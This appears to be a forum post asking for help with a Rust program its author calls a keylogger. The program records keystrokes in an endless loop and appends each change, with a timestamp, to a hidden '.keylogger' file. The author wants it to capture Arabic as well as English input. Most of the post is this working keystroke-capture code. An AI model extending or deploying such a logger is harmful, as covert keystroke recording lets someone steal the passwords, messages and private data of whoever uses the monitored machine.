I made a keylogger program that works on writing letters on the file, but it only supports the English language, and I want to try the program on the Arabic language. I want to help make it write Arabic letters.
use clap::{App, Arg};
use chrono::prelude::*;
use device_query::{DeviceQuery, DeviceState};
use std::fs::OpenOptions;
use std::io::Write;
// mod keylogger;
fn main() {
let matches = App::new("keylogger")
.get_matches();
let path = matches.value_of("PATH").unwrap_or(".keylogger");
run(String::from(path));
}
pub fn run(path: String) {
let device_state = DeviceState::new();
let mut prev_keys = vec![];
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(path)
.expect("Failed to open file");
loop {
let local: DateTime<Local> = Local::now();
let keys = device_state.get_keys();
if keys != prev_keys && !keys.is_empty() {
println!("[{:?}] [Keyboard] {:?}", local, keys);
writeln!(file, "[{:?}] [Keyboard] {:?}", local, keys).expect("Failed to write to file");
}
prev_keys = keys;
}
}